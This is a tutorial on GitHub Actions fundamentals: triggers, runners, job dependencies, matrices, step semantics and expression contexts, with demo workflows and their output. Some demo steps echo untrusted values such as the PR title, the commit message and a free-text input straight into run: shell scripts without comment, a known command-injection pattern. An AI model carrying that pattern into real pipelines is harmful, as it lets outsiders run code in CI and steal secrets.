GitHub Actions Fundamentals

Quote

“There should be two tasks for a human being to perform to deploy software into a development, test, or production environment: to pick the version and environment and to press the ‘deploy’ button.”

David Farley, Continuous Delivery (2010)

How workflow execution moves from events to steps

GitHub Actions executes automated processes in response to repository events. The execution flows through four levels: event → workflow → job → step.


flowchart TB
    subgraph Event["Repository Event"]
        EPAD[" "]
        E1["push to main"]
        E2["pull_request opened"]
        E3["schedule (cron)"]
        E4["workflow_dispatch (manual)"]
        EPAD ~~~ E1
        EPAD ~~~ E2
        EPAD ~~~ E3
        EPAD ~~~ E4
    end

    subgraph Workflow["Workflow (.github/workflows/*.yml)"]
        WPAD[" "]
        ON["on: trigger filter"]
        PERM["permissions: GITHUB_TOKEN scope"]
        ENV["env: workflow-level variables"]
        CONC["concurrency: group + cancel"]
        WPAD ~~~ ON
    end

    subgraph Jobs["Jobs (parallel by default)"]
        JPAD[" "]
        J1["Job A: lint<br/>runs-on: ubuntu-latest"]
        J2["Job B: test<br/>needs: lint"]
        J3["Job C: deploy<br/>environment: production"]
        JPAD ~~~ J1
        JPAD ~~~ J2
        JPAD ~~~ J3
    end

    subgraph Steps["Steps (sequential in a job)"]
        SPAD[" "]
        S1["uses: actions/checkout@v4"]
        S2["run: ruff check ."]
        S3["run: echo val >> GITHUB_OUTPUT"]
        SPAD ~~~ S1
    end

    E1 & E2 & E3 & E4 --> ON
    ON --> PERM --> ENV --> CONC
    CONC --> J1 & J2 & J3
    J2 --> Steps

    style Event fill:#1a1b26,stroke:#565f89,color:#c0caf5
    style Workflow fill:#292e42,stroke:#565f89,color:#c0caf5
    style Jobs fill:#24283b,stroke:#565f89,color:#c0caf5
    style Steps fill:#292e42,stroke:#565f89,color:#c0caf5
    style EPAD fill:transparent,stroke:transparent,color:transparent
    style WPAD fill:transparent,stroke:transparent,color:transparent
    style JPAD fill:transparent,stroke:transparent,color:transparent
    style SPAD fill:transparent,stroke:transparent,color:transparent

The execution model: a repository event matches a workflow’s on: trigger, which spawns a workflow run. The run creates jobs, each on its own runner VM. Steps within a job execute sequentially, sharing the runner’s filesystem and environment. Jobs run in parallel by default unless ordered with needs:.

conceptual model | data flow

Data moves between steps, jobs, and workflows through specific channels:

ChannelScopeSet byRead byCrosses job boundary?
GITHUB_OUTPUTStep → step/jobecho "key=val" >> $GITHUB_OUTPUT${{ steps.<id>.outputs.key }} or ${{ needs.<job>.outputs.key }}Yes (via jobs.<id>.outputs)
GITHUB_ENVStep → subsequent stepsecho "KEY=val" >> $GITHUB_ENV$KEY or ${{ env.KEY }}No
env: (static)Workflow/job/stepYAML env: block$KEY or ${{ env.KEY }}No
varsRepo/environmentGitHub Settings UI${{ vars.KEY }}Yes
secretsRepo/environment/orgGitHub Settings UI${{ secrets.KEY }}Yes
ArtifactsJob → job/workflowactions/upload-artifactactions/download-artifactYes
CacheJob → future runsactions/cacheactions/cache (restore)Yes (across runs)
GITHUB_STEP_SUMMARYStep → run pageecho "md" >> $GITHUB_STEP_SUMMARYGitHub UI run summaryN/A (display only)

conceptual model | evaluation order

Expressions (${{ }}) are evaluated by GitHub at workflow-processing time, before any shell command runs. This distinction is critical:

  1. Workflow parse — GitHub reads the YAML and evaluates all ${{ }} expressions.
  2. Job creation — GitHub creates runner VMs and assigns jobs.
  3. Step execution — The runner executes shell commands with the already-substituted values.

This means ${{ github.sha }} is a string literal by the time bash sees it — it is not a shell variable. Conversely, $GITHUB_SHA is a real environment variable available at shell runtime.

Workflow expressions and shell commands run in different phases

GitHub resolves expressions while processing the workflow YAML, then the runner executes shell commands with those resolved values already substituted. Safe workflow design depends on knowing which channel is evaluated when.

Expression evaluation is not shell evaluation

${{ }} expressions are resolved before the shell starts. You cannot use shell logic to construct expression values. if: ${{ env.MY_VAR == 'true' }} reads env.MY_VAR from the context object, not from the shell environment. If MY_VAR was set via GITHUB_ENV in a previous step, the env context will have it — but if set via export in the same step, it will not.

Use the right channel for the right scope

  • Need a value in the next step of the same job? → GITHUB_ENV
  • Need a value in a different job? → GITHUB_OUTPUT + jobs.<id>.outputs
  • Need a value across workflow runs? → Artifacts or cache
  • Need a value from GitHub Settings? → vars (plaintext) or secrets (encrypted)

How a workflow file is structured

Every workflow lives at .github/workflows/<name>.yml. GitHub discovers all YAML files in that directory automatically — no registration step is needed.

workflow | top-level keys

KeyRequiredPurpose
nameNoDisplay name shown in the GitHub UI and gh run list output
run-nameNoDynamic run name — can include expressions like Deploy ${{ inputs.environment }}
onYesEvent triggers — which repository events activate the workflow
envNoWorkflow-level environment variables, available to all jobs and steps
permissionsNoExplicit GITHUB_TOKEN scope — always declare for least privilege
concurrencyNoPrevent duplicate runs on the same branch or environment
defaultsNoDefault run shell and working-directory for all steps
jobsYesMap of jobs to execute — each job runs on its own runner

workflow | defaults and shell selection

Set defaults.run at workflow scope when most steps share the same shell or working directory. It becomes relevant in any workflow where you want predictable shell behavior without repeating shell: and working-directory: on every step. The setting applies to run: steps only and can still be overridden locally when a step needs different execution semantics.

Set bash as the default shell with a custom working directory.

name: "Demo: Defaults and Shell"
on:
  push:
    branches: [main]
    paths:
      - ".github/workflows/demo-defaults-shell.yml"
  workflow_dispatch:
 
permissions:
  contents: read
 
defaults:
  run:
    shell: bash
    working-directory: ./src
 
jobs:
  shell-demo:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
 
      - name: Default shell and working dir
        run: |
          echo "=== defaults.run demo ==="
          echo "Shell: bash (set via defaults.run.shell)"
          echo "Working directory: $(pwd)"
 
      - name: Override shell for one step
        shell: python3 {0}
        working-directory: .
        run: |
          import sys
          print(f"=== Shell override ===")
          print(f"Python version: {sys.version}")
          print(f"Individual steps can override defaults.run")

Workflow run output (run #1, triggered by push to main):

=== defaults.run demo ===
Shell: bash (set via defaults.run.shell)
Working directory: /home/runner/work/git-lab/git-lab/src
=== Shell override ===
Python version: 3.12.13 (main, Apr  8 2026, 12:35:41) [GCC 13.3.0]
Individual steps can override defaults.run
ShellPlatformInvocationError behavior
bashLinux, macOSbash --noprofile --norc -eo pipefail {0}Exits on first error; pipe fails if any command fails
shLinux, macOSsh -e {0}Exits on first error
pwshAllpwsh -command ". '{0}'"PowerShell Core — $ErrorActionPreference = 'stop'
pythonAllpython {0}Runs the script as Python
cmdWindowscmd /D /E:ON /V:OFF /S /C "CALL "{0}""Windows Command Prompt
powershellWindowspowershell -command ". '{0}'"Windows PowerShell (5.x)

Which events and filters can start a workflow

The on: key defines which repository events activate the workflow. Each trigger type can be filtered by branch, path, tag, or activity type. Multiple triggers can be combined — the workflow runs when any of them fires.

triggers | push event

Use this pattern when continuous integration — validate code quality and tests on every push. Trust boundary: Runs code from the pushed commit. Secrets are available.

Show trigger context on push to main.

name: "Demo: Push Trigger"
on:
  push:
    branches: [main]
    paths:
      - "src/**"
      - "tests/**"
      - "*.py"
      - ".github/workflows/demo-push-trigger.yml"
 
permissions:
  contents: read
 
jobs:
  greet:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Show trigger info
        run: |
          echo "Event: ${{ github.event_name }}"
          echo "Ref: ${{ github.ref }}"
          echo "SHA: ${{ github.sha }}"
          echo "Actor: ${{ github.actor }}"
          echo "Pusher: ${{ github.event.pusher.name }}"
          echo "Commit message: ${{ github.event.head_commit.message }}"

Workflow run output (run #1, triggered by push to main):

Event: push
Ref: refs/heads/main
SHA: 739cdaf09d0d5a4ed7cfd46827a602fca7311af5
Actor: alp78
Pusher: alp78
Commit message: Add GitHub Actions demo workflows for Elysium vault chapter 10
FilterSyntaxDescription
branches[main, 'release/**']Trigger only for pushes to matching branches
branches-ignore['dependabot/**']Trigger for all branches except these
tags['v*']Trigger on tag creation matching the pattern
tags-ignore['v*-rc*']Trigger on all tags except these
paths['src/**', '*.py']Trigger only if changed files match
paths-ignore['docs/**', '*.md']Trigger unless only these files changed

triggers | pull_request event

Use this pattern when CI validation on pull requests — lint, test, and check before merge. Trust boundary: For PRs from the same repo, runs against a temporary merge commit (the PR head merged into the base). Secrets are available. For fork PRs, secrets are NOT available.

Show PR context information.

name: "Demo: Pull Request Trigger"
on:
  pull_request:
    branches: [main]
    types: [opened, synchronize, reopened]
 
permissions:
  contents: read
  pull-requests: read
 
jobs:
  pr-info:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Show PR context
        run: |
          echo "Event: ${{ github.event_name }}"
          echo "Action type: ${{ github.event.action }}"
          echo "PR number: ${{ github.event.pull_request.number }}"
          echo "PR title: ${{ github.event.pull_request.title }}"
          echo "Head ref: ${{ github.head_ref }}"
          echo "Base ref: ${{ github.base_ref }}"
          echo "Head SHA: ${{ github.event.pull_request.head.sha }}"
          echo "Is fork: ${{ github.event.pull_request.head.repo.fork }}"
          echo "Merge commit SHA: ${{ github.sha }}"

Workflow run output (run #1, triggered by PR #10 from feature/demo-pr):

Event: pull_request
Action type: opened
PR number: 10
PR title: Demo: PR trigger test
Head ref: feature/demo-pr
Base ref: main
Head SHA: 44f3e42645f0837ad163e272eb4c56114d9bd3ed
Is fork: false
Merge commit SHA: 2fafdaabe31e624c604c6e6cab02ca9153c9d15d
 
IMPORTANT: This workflow runs against the MERGE commit
(a temporary ref that merges head into base).
Secrets are available ONLY for PRs from the same repo, not forks.

triggers | pull_request_target event

Use this pattern when processing fork PRs that need write access or secrets — labels, comments, deployments. Trust boundary: Runs workflow code from the base branch (not the PR head), with full secrets and write permissions.

Trigger choice defines the trust boundary for pull request automation

pull_request_target is useful because it runs with base-branch privileges, but that same privilege model becomes dangerous the moment untrusted PR code is executed inside the job.

pull_request_target can execute untrusted code with full privileges

If you check out the PR head (actions/checkout with ref: ${{ github.event.pull_request.head.sha }}) and then run code from it (tests, scripts, build commands), you are executing arbitrary code from an untrusted fork with full access to secrets and write permissions. This is a known attack vector.

Restrict pull_request_target to metadata or split the workflow

  • Use pull_request_target only for metadata operations such as labeling or commenting.
  • Run builds and tests for forked PR code under pull_request, where secrets are unavailable.
  • If a privileged follow-up is required, trigger a separate workflow_run workflow on the base branch after the unprivileged workflow completes.

triggers | schedule

Use this pattern when recurring tasks — nightly builds, weekly reports, periodic cleanup, SLA monitoring. Trust boundary: Always runs on the default branch (main). Full secrets available.

Run a scheduled check every hour at minute 45.

name: "Demo: Schedule Trigger"
on:
  schedule:
    - cron: "45 * * * *"
  workflow_dispatch:
 
permissions:
  contents: read
 
jobs:
  scheduled-check:
    runs-on: ubuntu-latest
    steps:
      - name: Show schedule info
        run: |
          echo "Event: ${{ github.event_name }}"
          echo "Triggered at: $(date -u '+%Y-%m-%d %H:%M:%S UTC')"
          echo "Schedule expression: ${{ github.event.schedule }}"

Workflow run output (run #2, triggered by cron schedule — fired 21 minutes after the :45 mark due to GitHub jitter):

Event: schedule
Triggered at: 2026-04-12 18:06:05 UTC
 
Schedule notes:
- Cron runs on the default branch only (main)
- GitHub does NOT guarantee exact timing
- Expect up to 15+ minutes of jitter under load
- Scheduled runs may be skipped entirely if the repo is inactive for 60+ days
- The github.event.schedule field shows which cron expression fired
Schedule expression: 45 * * * *

Scheduled workflows are best-effort timers, not precise schedulers

GitHub cron is suitable for recurring maintenance and reporting, but it is not a hard real-time scheduling system. The workflow needs an operational fallback when timing matters.

Cron timing is not deterministic

GitHub does not guarantee exact cron execution times. Under high load, scheduled runs may be delayed by 15+ minutes. If the repo is inactive for 60+ days, scheduled workflows are automatically disabled. Do not rely on cron for time-sensitive operations.

Add an explicit testing and reliability path

  • Add workflow_dispatch to every scheduled workflow so the logic can be tested on demand.
  • Monitor for missed or delayed runs rather than assuming perfect cadence.
  • Use an external scheduler such as Cloud Scheduler plus repository_dispatch when exact timing matters.

triggers | workflow_dispatch

Use this pattern when manual triggers — ad-hoc deploys, backfills, on-demand reports, debugging. Trust boundary: Runs on the branch selected in the UI or API call. Full secrets available.

Manual trigger with typed inputs.

name: "Demo: Workflow Dispatch"
on:
  workflow_dispatch:
    inputs:
      environment:
        description: "Target environment"
        required: true
        type: choice
        options:
          - staging
          - production
        default: staging
      dry_run:
        description: "Run in dry-run mode (no side effects)"
        required: false
        type: boolean
        default: true
      log_level:
        description: "Logging verbosity"
        required: false
        type: choice
        options:
          - info
          - debug
          - warning
        default: info
      custom_message:
        description: "Optional message to include in the run"
        required: false
        type: string
 
permissions:
  contents: read
 
jobs:
  dispatch-demo:
    runs-on: ubuntu-latest
    steps:
      - name: Show dispatch inputs
        run: |
          echo "Event: ${{ github.event_name }}"
          echo "Actor: ${{ github.actor }}"
          echo ""
          echo "=== Inputs ==="
          echo "Environment: ${{ inputs.environment }}"
          echo "Dry run: ${{ inputs.dry_run }}"
          echo "Log level: ${{ inputs.log_level }}"
          echo "Custom message: ${{ inputs.custom_message }}"

Trigger the workflow from the CLI with inputs.

gh workflow run "Demo: Workflow Dispatch" -R alp78/git-lab \
  -f environment=staging \
  -f dry_run=true \
  -f log_level=debug \
  -f custom_message="Hello from workflow_dispatch"

Workflow run output (run #1, triggered by workflow_dispatch):

Event: workflow_dispatch
Actor: alp78
 
=== Inputs ===
Environment: staging
Dry run: true
Log level: debug
Custom message: Hello from workflow_dispatch
 
DRY RUN MODE — no changes will be made

triggers | repository_dispatch

Use this pattern when external system integration — triggering workflows from webhooks, APIs, other repos, or CI/CD orchestrators. Trust boundary: Always runs on the default branch (main). Full secrets available.

Trigger a pipeline via the GitHub API.

gh api repos/alp78/git-lab/dispatches --input - <<'EOF'
{
  "event_type": "run-pipeline",
  "client_payload": {
    "environment": "staging",
    "ref": "main",
    "triggered_by": "vault-demo"
  }
}
EOF

Workflow run output (run #1, triggered by repository_dispatch):

=== repository_dispatch trigger ===
Event type: run-pipeline
Actor: alp78
 
Client payload:
{
  "environment": "staging",
  "ref": "main",
  "triggered_by": "vault-demo"
}
 
Use cases:
  - External systems triggering GitHub workflows
  - Cross-repo orchestration
  - Webhook-driven pipelines

triggers | release

Use this pattern when release-driven deployment — trigger a deploy, publish, or changelog generation when a GitHub release is created. Trust boundary: Runs on the tag/branch associated with the release. Full secrets available.

on:
  release:
    types: [published]

The github.event.release object contains the tag name, release name, body, and whether it’s a pre-release. Common pattern: if: ${{ !github.event.release.prerelease }} to skip pre-releases.

triggers | workflow_call (reusable workflow)

Use this pattern when sharing workflow logic across repositories or within a monorepo. The called workflow receives inputs and can return outputs. Trust boundary: Inherits the caller’s GITHUB_TOKEN permissions. Secrets must be explicitly passed.

Reusable workflow (called) — accepts inputs and returns outputs.

name: "Demo: Reusable Workflow (Called)"
on:
  workflow_call:
    inputs:
      environment:
        description: "Target environment name"
        required: true
        type: string
      python-version:
        description: "Python version to use"
        required: false
        type: string
        default: "3.12"
    outputs:
      deploy-url:
        description: "The deployment URL"
        value: ${{ jobs.deploy.outputs.url }}
    secrets:
      deploy-token:
        description: "Deployment authentication token"
        required: false
 
jobs:
  deploy:
    runs-on: ubuntu-latest
    outputs:
      url: ${{ steps.deploy.outputs.url }}
    steps:
      - uses: actions/checkout@v4
      - name: Simulate deployment
        id: deploy
        run: |
          URL="https://${{ inputs.environment }}.example.com"
          echo "url=$URL" >> "$GITHUB_OUTPUT"
          echo "Deployed to $URL"

Caller workflow — invokes the reusable workflow.

name: "Demo: Reusable Workflow (Caller)"
on:
  push:
    branches: [main]
  workflow_dispatch:
 
permissions:
  contents: read
 
jobs:
  call-reusable:
    uses: ./.github/workflows/demo-reusable-called.yml
    with:
      environment: staging
      python-version: "3.12"
    secrets:
      deploy-token: ${{ secrets.DEMO_SECRET }}
 
  show-result:
    needs: call-reusable
    runs-on: ubuntu-latest
    steps:
      - name: Show reusable workflow output
        run: |
          echo "Deploy URL: ${{ needs.call-reusable.outputs.deploy-url }}"

Workflow run output (run #1, triggered by push to main):

=== Reusable workflow (called) ===
Environment: staging
Python version: 3.12
Deploy token provided: true
Deployed to https://staging.example.com
 
=== Caller workflow ===
Deploy URL from reusable workflow: https://staging.example.com

triggers | workflow_run

Use this pattern when chaining workflows — run a deployment after CI passes, aggregate results from fork PR workflows, or post-process artifacts. Trust boundary: Always runs on the default branch (main), regardless of the triggering workflow’s branch. Full secrets available.

Run a post-processing workflow after the push trigger completes.

name: "Demo: Workflow Run Trigger"
on:
  workflow_run:
    workflows: ["Demo: Push Trigger"]
    types: [completed]
 
permissions:
  contents: read
 
jobs:
  post-push:
    runs-on: ubuntu-latest
    if: ${{ github.event.workflow_run.conclusion == 'success' }}
    steps:
      - name: Show workflow_run context
        run: |
          echo "Triggering workflow: ${{ github.event.workflow_run.name }}"
          echo "Triggering conclusion: ${{ github.event.workflow_run.conclusion }}"
          echo "Triggering branch: ${{ github.event.workflow_run.head_branch }}"
          echo "Triggering SHA: ${{ github.event.workflow_run.head_sha }}"
          echo "Triggering actor: ${{ github.event.workflow_run.actor.login }}"

Workflow run output (run #1, triggered by completion of “Demo: Push Trigger”):

=== workflow_run trigger ===
This workflow was triggered by the completion of another workflow.
 
Triggering workflow: Demo: Push Trigger
Triggering workflow ID: 24312297713
Triggering conclusion: success
Triggering branch: main
Triggering SHA: 739cdaf09d0d5a4ed7cfd46827a602fca7311af5
Triggering actor: alp78
 
IMPORTANT: workflow_run always runs on the DEFAULT branch (main).
It does NOT run the code from the triggering branch.
This has security implications — the called workflow is trusted code.

triggers | merge_group

Use this pattern when repos with merge queues enabled. The merge_group event fires when a PR is added to the merge queue, running checks against the tentative merge result.

on:
  merge_group:
    types: [checks_requested]

Merge queue validation is a separate event path from ordinary pull requests

Required checks have to trigger for the synthetic merge-queue event, not just for the original PR, or the queue cannot advance.

Missing merge_group leaves the merge queue permanently stuck

If you enable merge queues on a branch but your required status checks only trigger on pull_request, they will never run for merge queue entries.

Add merge_group alongside pull_request

on:
  pull_request:
    branches: [main]
  merge_group:

triggers | issue_comment

Use this pattern when slash-command bots — /deploy, /rerun, /approve comments that trigger workflows. Trust boundary: Fires for comments on both issues and PRs. Runs on the default branch with full secrets.

Comment-driven automation runs with default-branch trust, not PR-branch trust

Slash-command workflows are convenient, but they are privileged control paths. The workflow must verify the actor and avoid turning comments into a path for executing untrusted branch code with secrets.

issue_comment runs on the default branch, not the PR branch

If an issue_comment workflow checks out the PR branch and runs code from it, any user who can comment on an issue can execute arbitrary code with full repo secrets. This is equivalent to the pull_request_target attack.

Gate comment workflows tightly

  • Check that the commenter has write access with author_association.
  • Trigger only on narrowly scoped command text such as /deploy.
  • Never check out or execute untrusted PR code while secrets are available.

triggers | multiple triggers

Combine multiple triggers — the workflow runs when any of them fires.

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]
  workflow_dispatch:
  schedule:
    - cron: "45 * * * *"

Use github.event_name to branch logic based on which trigger fired.

Where jobs run and how runner types differ

Runners are the servers that execute workflow jobs. Each job runs on a fresh runner instance.

runners | GitHub-hosted runners

GitHub provides managed, ephemeral VMs with pre-installed tools. The VM is created fresh for each job and destroyed after the job completes.

LabelOSvCPURAMDiskPer-minute cost (public)
ubuntu-latestUbuntu 24.04416 GB14 GB SSDFree (2,000 min/mo)
windows-latestWindows Server 2022416 GB14 GB SSD2× Linux rate
macos-latestmacOS 14 (Sonoma)3 (M1)7 GB14 GB SSD10× Linux rate

runners | self-hosted runners

Use this pattern when GPU workloads, private network access, compliance requirements, or cost savings at scale.

Owning the runner means owning the runner attack surface

Self-hosted runners trade convenience and network access for a much larger persistence and isolation problem than GitHub-hosted ephemeral machines.

Self-hosted runners without isolation are a security risk

Unlike GitHub-hosted runners, self-hosted runners are not ephemeral by default. A malicious workflow can persist files, install backdoors, or exfiltrate credentials. Any fork PR can run code on your self-hosted runner if not restricted.

Use hardened self-hosted runner patterns

  • Run self-hosted runners in ephemeral or JIT mode.
  • Restrict runner groups to specific repositories.
  • Use container or Kubernetes isolation around job execution.
  • Never expose self-hosted runners to public repos with fork PRs enabled.

runners | larger and ephemeral runners

GitHub offers larger runner sizes for performance-intensive workloads. Available on GitHub Team and Enterprise plans.

SizevCPURAMUse case
ubuntu-latest-4-cores416 GBStandard CI
ubuntu-latest-8-cores832 GBParallel test suites
ubuntu-latest-16-cores1664 GBDocker builds, ML training
ubuntu-latest-32-cores32128 GBLarge monorepo builds

How jobs define parallel and dependent work

Jobs are the primary units of work. Each job runs on a fresh runner VM.

jobs | sequential dependencies (needs)

Use needs: to create job dependencies. A job only starts after all jobs listed in needs: complete successfully.

jobs:
  lint:
    runs-on: ubuntu-latest
    steps:
      - run: echo "linting..."
 
  test:
    needs: lint
    runs-on: ubuntu-latest
    steps:
      - run: echo "testing..."
 
  deploy:
    needs: [lint, test]
    runs-on: ubuntu-latest
    steps:
      - run: echo "deploying..."

Without needs:, all three jobs would run in parallel.

jobs | matrix strategy

Use a matrix when the same job must run across multiple Python versions, operating systems, or configuration variants. One job definition expands into multiple parallel job instances, each with a different parameter combination.

Test across Python 3.11 and 3.12 with an experimental flag on 3.12.

name: "Demo: Matrix Strategy"
on:
  push:
    branches: [main]
    paths:
      - ".github/workflows/demo-matrix.yml"
  workflow_dispatch:
 
permissions:
  contents: read
 
jobs:
  matrix-test:
    runs-on: ubuntu-latest
    strategy:
      fail-fast: false
      max-parallel: 3
      matrix:
        python-version: ["3.10", "3.11", "3.12"]
        os: [ubuntu-latest]
        include:
          - python-version: "3.12"
            os: ubuntu-latest
            experimental: true
        exclude:
          - python-version: "3.10"
            os: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-python@v5
        with:
          python-version: ${{ matrix.python-version }}
      - name: Show matrix values
        run: |
          echo "Python: ${{ matrix.python-version }}"
          echo "OS: ${{ matrix.os }}"
          echo "Experimental: ${{ matrix.experimental }}"
          python --version

Workflow run output (run #1 — two matrix combinations after exclude):

# Combination 1: Python 3.11
Python: 3.11
OS: ubuntu-latest
Experimental:
Python 3.11.15
 
# Combination 2: Python 3.12 (experimental)
Python: 3.12
OS: ubuntu-latest
Experimental: true
Python 3.12.13
KeyTypeDefaultDescription
strategy.matrixobjectParameter axes and values
strategy.fail-fastbooleantrueCancel remaining jobs on first failure
strategy.max-parallelintegerunlimitedMaximum concurrent matrix jobs
includelistAdd combinations or properties
excludelistRemove combinations

jobs | job outputs

Declare outputs at the job level to pass data to downstream jobs via needs.<job>.outputs.<name>.

jobs:
  producer:
    runs-on: ubuntu-latest
    outputs:
      version: ${{ steps.set_version.outputs.version }}
    steps:
      - name: Set version
        id: set_version
        run: echo "version=1.2.3" >> "$GITHUB_OUTPUT"
 
  consumer:
    needs: producer
    runs-on: ubuntu-latest
    steps:
      - run: echo "Version: ${{ needs.producer.outputs.version }}"

jobs | job containers and service containers

Use this pattern when integration testing with real databases, message queues, or other services. The operational goal is to attach Docker containers alongside the job runner for end-to-end testing without mocks.

PostgreSQL service container for integration testing.

name: "Demo: Service Container"
on:
  push:
    branches: [main]
    paths:
      - ".github/workflows/demo-service-container.yml"
  workflow_dispatch:
 
permissions:
  contents: read
 
jobs:
  integration-test:
    runs-on: ubuntu-latest
    services:
      postgres:
        image: postgres:16
        env:
          POSTGRES_USER: testuser
          POSTGRES_PASSWORD: testpass
          POSTGRES_DB: testdb
        ports:
          - 5432:5432
        options: >-
          --health-cmd="pg_isready -U testuser"
          --health-interval=10s
          --health-timeout=5s
          --health-retries=5
    steps:
      - uses: actions/checkout@v4
      - name: Run integration test
        env:
          PGHOST: localhost
          PGPORT: 5432
          PGUSER: testuser
          PGPASSWORD: testpass
          PGDATABASE: testdb
        run: |
          echo "Creating test table..."
          psql -c "CREATE TABLE orders (id SERIAL PRIMARY KEY, amount DECIMAL, created_at TIMESTAMP DEFAULT NOW());"
          echo "Inserting test data..."
          psql -c "INSERT INTO orders (amount) VALUES (99.99), (149.50), (200.00);"
          echo "Running validation query..."
          psql -c "SELECT COUNT(*) AS order_count, SUM(amount) AS total FROM orders;"

Workflow run output (run #1, triggered by push to main):

PostgreSQL is ready after 1 attempts
=== Service container demo ===
Creating test table...
CREATE TABLE
 
Inserting test data...
INSERT 0 3
 
Running validation query...
 order_count | total
-------------+--------
           3 | 449.49
(1 row)
 
Service container provides a real PostgreSQL instance.
No mocking needed — this is a true integration test.

How steps execute inside each job

Steps are the individual tasks within a job. They execute sequentially and share the runner’s filesystem.

steps | uses (actions)

The uses: key references a reusable action. Actions are pulled from GitHub repos, Docker images, or local paths.

steps:
  # GitHub Marketplace action (pinned to tag)
  - uses: actions/checkout@v4
 
  # Same action pinned to full SHA (more secure)
  - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5
 
  # Action from another repo
  - uses: google-github-actions/auth@v2
    with:
      workload_identity_provider: ${{ secrets.GCP_WORKLOAD_IDENTITY_PROVIDER }}
 
  # Local action from the same repo
  - uses: ./.github/actions/my-custom-action

steps | continue-on-error semantics

Use continue-on-error when a step may fail without invalidating the entire job, such as flaky diagnostics, optional checks, or best-effort notifications. The flag turns that step failure into a soft success while still preserving the failure details in the logs and UI.

Step-level vs job-level continue-on-error behavior.

name: "Demo: Continue on Error"
on:
  push:
    branches: [main]
  workflow_dispatch:
 
permissions:
  contents: read
 
jobs:
  step-level:
    runs-on: ubuntu-latest
    steps:
      - name: Failing step (with continue-on-error)
        id: flaky
        continue-on-error: true
        run: exit 1
 
      - name: Check outcome after failure
        run: |
          echo "flaky.outcome: ${{ steps.flaky.outcome }}"
          echo "flaky.conclusion: ${{ steps.flaky.conclusion }}"
 
      - name: Conditional cleanup
        if: ${{ steps.flaky.outcome == 'failure' }}
        run: echo "Running cleanup because the flaky step failed."

Workflow run output (run #1, triggered by push to main):

=== Step-level continue-on-error ===
flaky.outcome: failure
flaky.conclusion: success
 
outcome = raw result: failure
conclusion = after continue-on-error applied: success
 
The job status is still 'success' because
continue-on-error converted the failure.
Running cleanup because the flaky step failed.

Failure masking should stay narrow and explicit

continue-on-error is useful for experiments and cleanup logic, but if it is applied too broadly it destroys the signal that CI is meant to preserve.

Job-level continue-on-error hides real failures

Setting continue-on-error: true at the job level makes the overall workflow show as success even when the job fails. Downstream jobs via needs: will also see the result as success.

Apply error tolerance at the step boundary

Use continue-on-error on individual steps, not entire jobs. Then inspect steps.<id>.outcome in a later step to handle the failure explicitly.

Propertyoutcomeconclusion
DefinitionRaw execution resultResult after continue-on-error
When continue-on-error is truefailuresuccess
When continue-on-error is falsefailurefailure
Use for conditionals${{ steps.<id>.outcome == 'failure' }}N/A

How expressions and contexts are evaluated

expressions | syntax and operators

Expressions use the ${{ }} syntax and are evaluated at workflow-processing time.

OperatorExampleDescription
==github.ref == 'refs/heads/main'Equality (case-insensitive for strings)
!=github.actor != 'dependabot[bot]'Inequality
&&success() && github.ref == 'refs/heads/main'Logical AND
||failure() || cancelled()Logical OR
!!contains(github.event.head_commit.message, '[skip ci]')Logical NOT

String functions: contains(), startsWith(), endsWith(), format(), join(), toJSON(), fromJSON(), hashFiles()

Expression evaluation output.

=== String functions ===
contains('Hello World', 'World'): true
startsWith('main', 'mai'): true
endsWith('feature/abc', 'abc'): true
format('{0}-{1}', 'hello', 'world'): hello-world
 
=== Type coercion ===
Null to string: '' (empty string)
Boolean to string: 'true' (literal 'true')
 
GOTCHA: In expressions, 0 and '' are falsy.
Expression evaluation happens BEFORE shell execution.

expressions | status functions

FunctionBehaviorImplicit in if:?
success()True if no previous step failed or was cancelledYes — every if: implicitly starts with success() && unless you use always(), failure(), or cancelled()
failure()True if any previous step failedNo
cancelled()True if the workflow was cancelledNo
always()Always true — step runs even after failure or cancellationNo

expressions | type coercion pitfalls

Expression coercion changes meaning once values cross into shell runtime

A value that is falsey in the Actions expression engine may become a non-empty string in the shell, where the truth rules are different.

Expression types are not shell types

In expressions, null coerces to '', false coerces to 'false' (a truthy string in shell), and 0 coerces to '0' (also truthy in shell).

Compare expression values explicitly before handing them to the shell

Write conditions such as if: ${{ inputs.dry_run == true }} instead of relying on implicit truthiness. Treat shell runtime and expression runtime as separate evaluation systems.

contexts | github, runner, env, steps, needs

Dump all major contexts in a single workflow.

name: "Demo: Contexts"
on:
  push:
    branches: [main]
    paths:
      - ".github/workflows/demo-contexts.yml"
  workflow_dispatch:
 
permissions:
  contents: read
 
env:
  WORKFLOW_VAR: "workflow-level-value"
 
jobs:
  show-contexts:
    runs-on: ubuntu-latest
    env:
      JOB_VAR: "job-level-value"
    outputs:
      job_result: ${{ steps.produce.outputs.value }}
    steps:
      - name: GitHub context
        run: |
          echo "repository: ${{ github.repository }}"
          echo "event_name: ${{ github.event_name }}"
          echo "ref: ${{ github.ref }}"
          echo "sha: ${{ github.sha }}"
          echo "actor: ${{ github.actor }}"
          echo "run_id: ${{ github.run_id }}"
          echo "run_number: ${{ github.run_number }}"
 
      - name: Runner context
        run: |
          echo "os: ${{ runner.os }}"
          echo "arch: ${{ runner.arch }}"
          echo "name: ${{ runner.name }}"
          echo "temp: ${{ runner.temp }}"
 
      - name: Env context
        env:
          STEP_VAR: "step-level-value"
        run: |
          echo "WORKFLOW_VAR: ${{ env.WORKFLOW_VAR }}"
          echo "JOB_VAR: ${{ env.JOB_VAR }}"
          echo "STEP_VAR: ${{ env.STEP_VAR }}"
 
      - name: Produce an output
        id: produce
        run: echo "value=hello-from-step" >> "$GITHUB_OUTPUT"
 
      - name: Steps context
        run: echo "produce.outputs.value: ${{ steps.produce.outputs.value }}"
 
  consume-output:
    needs: show-contexts
    runs-on: ubuntu-latest
    steps:
      - name: Needs context
        run: |
          echo "show-contexts.outputs.job_result: ${{ needs.show-contexts.outputs.job_result }}"
          echo "show-contexts.result: ${{ needs.show-contexts.result }}"

Workflow run output (run #1, triggered by push to main):

=== github context ===
repository: alp78/git-lab
event_name: push
ref: refs/heads/main
sha: 739cdaf09d0d5a4ed7cfd46827a602fca7311af5
actor: alp78
run_id: 24312297711
run_number: 1
 
=== runner context ===
os: Linux
arch: X64
name: GitHub Actions 1000000619
